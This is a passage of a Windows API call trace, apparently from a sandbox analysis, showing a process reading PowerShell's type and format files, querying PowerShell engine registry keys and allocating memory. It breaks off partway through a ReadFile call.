[0112.775] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.776] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.776] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.776] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.784] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.784] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1000, lpOverlapped=0x0) returned 1 [0112.784] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x1b4, lpOverlapped=0x0) returned 1 [0112.784] ReadFile (in: hFile=0x338, lpBuffer=0x2d80b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1acf88, lpOverlapped=0x0 | out: lpBuffer=0x2d80b10*, lpNumberOfBytesRead=0x1acf88*=0x0, lpOverlapped=0x0) returned 1 [0112.784] CloseHandle (hObject=0x338) returned 1 [0112.785] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x1acca0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0112.785] SetErrorMode (uMode=0x1) returned 0x1 [0112.785] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x1acf00 | out: lpFileInformation=0x1acf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe968c5bf, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0xe968c5bf, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0xe968c5bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0112.785] SetErrorMode (uMode=0x1) returned 0x1 [0112.785] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x1acc30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0112.785] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acfe8 | out: phkResult=0x1acfe8*=0x338) returned 0x0 [0112.786] RegQueryValueExW (in: hKey=0x338, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1acf6c, lpData=0x0, lpcbData=0x1acf68*=0x0 | out: lpType=0x1acf6c*=0x1, lpData=0x0, lpcbData=0x1acf68*=0x56) returned 0x0 [0112.786] CoTaskMemAlloc (cb=0x5a) returned 0x2878320 [0112.786] RegQueryValueExW (in: hKey=0x338, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1acf3c, lpData=0x2878320, lpcbData=0x1acf38*=0x56 | out: lpType=0x1acf3c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1acf38*=0x56) returned 0x0 [0112.786] CoTaskMemFree (pv=0x2878320) [0112.786] RegCloseKey (hKey=0x338) returned 0x0 [0112.786] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x1acc30, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0112.786] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x1acae0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0113.026] VirtualQuery (in: lpAddress=0x1abcd0, lpBuffer=0x1acb90, dwLength=0x30 | out: lpBuffer=0x1acb90*(BaseAddress=0x1ab000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0113.152] VirtualQuery (in: lpAddress=0x1abcd0, lpBuffer=0x1acb90, dwLength=0x30 | out: lpBuffer=0x1acb90*(BaseAddress=0x1ab000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0113.153] VirtualQuery (in: lpAddress=0x1abcd0, lpBuffer=0x1acb90, dwLength=0x30 | out: lpBuffer=0x1acb90*(BaseAddress=0x1ab000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0113.154] VirtualQuery (in: lpAddress=0x1abcd0, lpBuffer=0x1acb90, dwLength=0x30 | out: lpBuffer=0x1acb90*(BaseAddress=0x1ab000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0113.155] VirtualQuery (in: lpAddress=0x1abcd0, lpBuffer=0x1acb90, dwLength=0x30 | out: lpBuffer=0x1acb90*(BaseAddress=0x1ab000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0113.156] VirtualQuery (in: lpAddress=0x1abcd0, lpBuffer=0x1acb90, dwLength=0x30 | out: lpBuffer=0x1acb90*(BaseAddress=0x1ab000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0113.157] VirtualQuery (in: lpAddress=0x1abcd0, lpBuffer=0x1acb90, dwLength=0x30 | out: lpBuffer=0x1acb90*(BaseAddress=0x1ab000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0113.243] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0113.243] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.243] CoTaskMemFree (pv=0x358a80) [0113.262] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x1ad188 | out: phkResult=0x1ad188*=0x334) returned 0x0 [0113.262] RegQueryValueExW (in: hKey=0x334, lpValueName="path", lpReserved=0x0, lpType=0x1ad19c, lpData=0x0, lpcbData=0x1ad198*=0x0 | out: lpType=0x1ad19c*=0x1, lpData=0x0, lpcbData=0x1ad198*=0x74) returned 0x0 [0113.263] RegQueryValueExW (in: hKey=0x334, lpValueName="path", lpReserved=0x0, lpType=0x1ad10c, lpData=0x0, lpcbData=0x1ad108*=0x0 | out: lpType=0x1ad10c*=0x1, lpData=0x0, lpcbData=0x1ad108*=0x74) returned 0x0 [0113.263] CoTaskMemAlloc (cb=0x78) returned 0x3ac040 [0113.263] RegQueryValueExW (in: hKey=0x334, lpValueName="path", lpReserved=0x0, lpType=0x1ad0dc, lpData=0x3ac040, lpcbData=0x1ad0d8*=0x74 | out: lpType=0x1ad0dc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x1ad0d8*=0x74) returned 0x0 [0113.263] CoTaskMemFree (pv=0x3ac040) [0113.263] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x1ace50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a [0113.263] SetErrorMode (uMode=0x1) returned 0x1 [0113.263] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x1ad060 | out: lpFileInformation=0x1ad060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1dba44b2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1dba44b2, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0113.263] SetErrorMode (uMode=0x1) returned 0x1 [0113.264] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ace50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0113.265] SetErrorMode (uMode=0x1) returned 0x1 [0113.265] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x1ad060 | out: lpFileInformation=0x1ad060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d93418, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d93418, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e03e37, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0113.266] SetErrorMode (uMode=0x1) returned 0x1 [0113.266] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ace50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0113.266] SetErrorMode (uMode=0x1) returned 0x1 [0113.266] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x1ad060 | out: lpFileInformation=0x1ad060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67f36317, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67f36317, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe6065417, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1 [0113.267] SetErrorMode (uMode=0x1) returned 0x1 [0113.267] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ace50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0113.267] SetErrorMode (uMode=0x1) returned 0x1 [0113.267] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x1ad060 | out: lpFileInformation=0x1ad060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67ddf6d2, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67ddf6d2, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5dddcd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0113.268] SetErrorMode (uMode=0x1) returned 0x1 [0113.268] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ace50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0113.268] SetErrorMode (uMode=0x1) returned 0x1 [0113.268] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x1ad060 | out: lpFileInformation=0x1ad060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e0582f, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e0582f, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e29f95, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0113.268] SetErrorMode (uMode=0x1) returned 0x1 [0113.269] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ace50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0113.269] SetErrorMode (uMode=0x1) returned 0x1 [0113.269] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x1ad060 | out: lpFileInformation=0x1ad060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e2b98c, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e2b98c, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e76251, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1 [0113.269] SetErrorMode (uMode=0x1) returned 0x1 [0113.269] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ace50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml", lpFilePart=0x0) returned 0x3d [0113.269] SetErrorMode (uMode=0x1) returned 0x1 [0113.269] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\help.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x1ad060 | out: lpFileInformation=0x1ad060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e51ae9, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e51ae9, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e9c3af, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3ef37)) returned 1 [0113.270] SetErrorMode (uMode=0x1) returned 0x1 [0113.270] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ace50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml", lpFilePart=0x0) returned 0x47 [0113.270] SetErrorMode (uMode=0x1) returned 0x1 [0113.270] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershellcore.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x1ad060 | out: lpFileInformation=0x1ad060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67e9dda3, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67e9dda3, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe601915b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x15e67)) returned 1 [0113.270] SetErrorMode (uMode=0x1) returned 0x1 [0113.270] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ace50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0113.270] SetErrorMode (uMode=0x1) returned 0x1 [0113.271] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x1ad060 | out: lpFileInformation=0x1ad060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67eea05d, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67eea05d, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe601915b, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x48b4)) returned 1 [0113.271] SetErrorMode (uMode=0x1) returned 0x1 [0113.271] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ace50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0113.271] SetErrorMode (uMode=0x1) returned 0x1 [0113.271] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\registry.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x1ad060 | out: lpFileInformation=0x1ad060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67eea05d, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67eea05d, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe603f2b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x4e98)) returned 1 [0113.271] SetErrorMode (uMode=0x1) returned 0x1 [0113.273] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0113.273] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.273] CoTaskMemFree (pv=0x358a80) [0113.282] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0113.282] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.282] CoTaskMemFree (pv=0x358a80) [0113.283] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0113.283] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.283] CoTaskMemFree (pv=0x358a80) [0113.284] CoTaskMemAlloc (cb=0x104) returned 0x358a80 [0113.284] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358a80, nSize=0x80 | out: lpBuffer="") returned 0x0 [0113.284] CoTaskMemFree (pv=0x358a80) [0113.285] SetErrorMode (uMode=0x1) returned 0x1 [0113.291] ReadFile (in: hFile=0x30c, lpBuffer=0x3426c28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x3426c28*, lpNumberOfBytesRead=0x1accf8*=0x1000, lpOverlapped=0x0) returned 1 [0113.292] ReadFile (in: hFile=0x30c, lpBuffer=0x3426c28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x3426c28*, lpNumberOfBytesRead=0x1accf8*=0x1000, lpOverlapped=0x0) returned 1 [0113.292] ReadFile (in: hFile=0x30c, lpBuffer=0x3426c28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x3426c28*, lpNumberOfBytesRead=0x1accf8*=0x1000, lpOverlapped=0x0) returned 1 [0113.293] ReadFile (in: hFile=0x30c, lpBuffer=0x3426c28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x3426c28*, lpNumberOfBytesRead=0x1accf8*=0x1000, lpOverlapped=0x0) returned 1 [0113.293] ReadFile (in: hFile=0x30c, lpBuffer=0x3426c28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x3426c28*, lpNumberOfBytesRead=0x1accf8*=0x1000, lpOverlapped=0x0) returned 1 [0113.293] ReadFile (in: hFile=0x30c, lpBuffer=0x3426c28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x3426c28*, lpNumberOfBytesRead=0x1accf8*=0x9e2, lpOverlapped=0x0) returned 1 [0113.293] ReadFile (in: hFile=0x30c, lpBuffer=0x3426172, nNumberOfBytesToRead=0x21e, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x3426172*, lpNumberOfBytesRead=0x1accf8*=0x0, lpOverlapped=0x0) returned 1 [0113.293] ReadFile (in: hFile=0x30c, lpBuffer=0x3426c28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: lpBuffer=0x3426c28*, lpNumberOfBytesRead=0x1accf8*=0x0, lpOverlapped=0x0) returned 1 [0113.293] CloseHandle (hObject=0x30c) returned 1 [0113.293] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x1aca40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0113.294] SetErrorMode (uMode=0x1) returned 0x1 [0113.294] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x1acca0 | out: lpFileInformation=0x1acca0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d93418, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d93418, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e03e37, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0113.294] SetErrorMode (uMode=0x1) returned 0x1 [0113.294] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ac9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0113.294] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x1acd88 | out: phkResult=0x1acd88*=0x30c) returned 0x0 [0113.294] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1acd0c, lpData=0x0, lpcbData=0x1acd08*=0x0 | out: lpType=0x1acd0c*=0x1, lpData=0x0, lpcbData=0x1acd08*=0x56) returned 0x0 [0113.294] CoTaskMemAlloc (cb=0x5a) returned 0x2878630 [0113.294] RegQueryValueExW (in: hKey=0x30c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x1accdc, lpData=0x2878630, lpcbData=0x1accd8*=0x56 | out: lpType=0x1accdc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x1accd8*=0x56) returned 0x0 [0113.294] CoTaskMemFree (pv=0x2878630) [0113.294] RegCloseKey (hKey=0x30c) returned 0x0 [0113.295] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ac9d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0113.295] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x1ac880, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0113.315] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0xe4717008, Data2=0xa937, Data3=0x4264, Data4=([0]=0x96, [1]=0xe5, [2]=0x26, [3]=0xd6, [4]=0xc3, [5]=0x72, [6]=0xe1, [7]=0xeb))) returned 0x0 [0113.330] CoCreateGuid (in: pguid=0x1acfb0 | out: pguid=0x1acfb0*(Data1=0x7008c5eb, Data2=0xeb39, Data3=0x4526, Data4=([0]=0x89, [1]=0x0, [2]=0xf6, [3]=0x23, [4]=0x0, [5]=0xaa, [6]=0x1, [7]=0xa4))) returned 0x0 [0113.333] SetErrorMode (uMode=0x1) returned 0x1 [0113.333] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\wsman.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x30c [0113.333] GetFileType (hFile=0x30c) returned 0x1 [0113.333] SetErrorMode (uMode=0x1) returned 0x1 [0113.333] GetFileType (hFile=0x30c) returned 0x1 [0113.333] ReadFile (in: hFile=0x30c, lpBuffer=0x3451790, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1accf8, lpOverlapped=0x0 | out: 